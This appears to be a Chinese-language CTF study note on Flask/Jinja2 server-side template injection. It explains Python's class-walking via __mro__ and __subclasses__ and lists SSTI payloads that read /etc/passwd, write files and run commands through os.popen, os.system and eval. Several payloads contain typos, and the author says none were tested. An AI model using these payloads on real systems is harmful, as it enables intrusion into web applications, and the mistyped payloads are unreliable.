FLASK模板注入 (SSTI)
最近的幾次比賽裡,發現有幾道涉及SSTI的題目,之前在護網杯的時候其實就已經碰到過了,但是當時並沒有重視,今天才真的去好好了解了SSTI的原理以及利用方法。
首先,SSTI漏洞引發的原因和大多數web漏洞一樣,對使用者輸入的值過於信任,導致使用者輸入一些惡意程式碼來完成攻擊。而最近碰到的幾個SSTI都是基於 FLASK JINJA2模板的注入,FLASK是由python寫的一個基於JINJA2引擎的web應用框架,其實我對這些框架並不瞭解,但瞭解這些漏洞也算是對自己python理解的進一步提升吧。
Python是面向物件的程式語言,所以同樣有著類,物件和繼承屬性。而這種SSTI就充分利用了這些。
Python中有一個 .__class__ 可以獲取例項對應的類,比如一個空字串 "".__class__就可以獲取到 <type'str'> ,那這個字元串同樣也可以換成列表,元組,字典。
接著就是 __mro__這個屬性可以獲取到當前物件的所有繼承類, 這個屬性返回一個tuple物件,這個物件包含了當前類物件所有繼承的基類,tuple中元素的順序就是MRO(Method Resolution Order) 尋找的順序。或者用__base__這個屬性也可以獲取到基本類。
再往後又涉及到類物件中的方法 __subclasses__(),這個方法會返回類中所有存活子類的引用(不是例項),那如果我們用object類呼叫這個方法的話,就可以返回所有的類物件了。(object類物件是所有類的父類)
0 <type 'type'> 1 <type 'weakref'> 2 <type 'weakcallableproxy'> 3 <type 'weakproxy'> 4 <type 'int'> 5 <type 'basestring'> 6 <type 'bytearray'> 7 <type 'list'> 8 <type 'NoneType'> 9 <type 'NotImplementedType'> 10 <type 'traceback'> 11 <type 'super'> 12 <type 'xrange'> 13 <type 'dict'> 14 <type 'set'> 15 <type 'slice'> 16 <type 'staticmethod'> 17 <type 'complex'> 18 <type 'float'> 19 <type 'buffer'> 20 <type 'long'> 21 <type 'frozenset'> 22 <type 'property'> 23 <type 'memoryview'> 24 <type 'tuple'> 25 <type 'enumerate'> 26 <type 'reversed'> 27 <type 'code'> 28 <type 'frame'> 29 <type 'builtin_function_or_method'> 30 <type 'instancemethod'> 31 <type 'function'> 32 <type 'classobj'> 33 <type 'dictproxy'> 34 <type 'generator'> 35 <type 'getset_descriptor'> 36 <type 'wrapper_descriptor'> 37 <type 'instance'> 38 <type 'ellipsis'> 39 <type 'member_descriptor'> 40 <type 'file'> 41 <type 'PyCapsule'> 42 <type 'cell'> 43 <type 'callable-iterator'> 44 <type 'iterator'> 45 <type 'sys.long_info'> 46 <type 'sys.float_info'> 47 <type 'EncodingMap'> 48 <type 'fieldnameiterator'> 49 <type 'formatteriterator'> 50 <type 'sys.version_info'> 51 <type 'sys.flags'> 52 <type 'sys.getwindowsversion'> 53 <type 'exceptions.BaseException'> 54 <type 'module'> 55 <type 'imp.NullImporter'> 56 <type 'zipimport.zipimporter'> 57 <type 'nt.stat_result'> 58 <type 'nt.statvfs_result'> 59 <class 'warnings.WarningMessage'> 60 <class 'warnings.catch_warnings'> 61 <class '_weakrefset._IterationGuard'> 62 <class '_weakrefset.WeakSet'> 63 <class '_abcoll.Hashable'> 64 <type 'classmethod'> 65 <class '_abcoll.Iterable'> 66 <class '_abcoll.Sized'> 67 <class '_abcoll.Container'> 68 <class '_abcoll.Callable'> 69 <type 'dict_keys'> 70 <type 'dict_items'> 71 <type 'dict_values'> 72 <class 'site._Printer'> 73 <class 'site._Helper'> 74 <type '_sre.SRE_Pattern'> 75 <type '_sre.SRE_Match'> 76 <type '_sre.SRE_Scanner'> 77 <class 'site.Quitter'> 78 <class 'codecs.IncrementalEncoder'> 79 <class 'codecs.IncrementalDecoder'> 80 <type 'operator.itemgetter'> 81 <type 'operator.attrgetter'> 82 <type 'operator.methodcaller'> 83 <type 'functools.partial'> 84 <type 'MultibyteCodec'> 85 <type 'MultibyteIncrementalEncoder'> 86 <type 'MultibyteIncrementalDecoder'> 87 <type 'MultibyteStreamReader'> 88 <type 'MultibyteStreamWriter'>
由此可以看到object類的第40號元素就是一個有讀檔案功能的類物件。
所以我們就可以用''.__class__.__mor__[2].__subclasses__()[40]('/etc/passwd').read() 讀取/etc/passwd檔案的內容
''.__class__.__mor__[2].__subclasses__()[40]('/tmp').write('test') 在tmp目錄下寫入一個test檔案?應該是吧
然後就是更高階的操作,執行系統命令。object.__subclasses__()[59].__init__.func_globals.linecache
查閱的其他資料,訪問os模組都是從warnings.catch_warnings模組入手的,而這兩個模組分別位於元組中的59,60號元素。__init__用於將物件例項化,func_globals可以看該模組下有哪些globals函式,而linecache可用於讀取任意一個檔案的某一行,而這個函式引用了os模組。
- object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
- object.__subclasses__()[59].__init__.func_globals['linecache'].os.popen('whoami').read()
- object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
object.__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全域性函式
- object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import_('os').popen('id').read()")
- object.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os).popen('id').read()")
- object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os).popen('id').read()
- object.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popn('id').read()
這些payload都可以實現命令執行。
因為還沒有找到SSTI的環境,所以還沒有復現,等找到有相關題目的環境就會搭好來複現一遍,對文章進行例項補充的。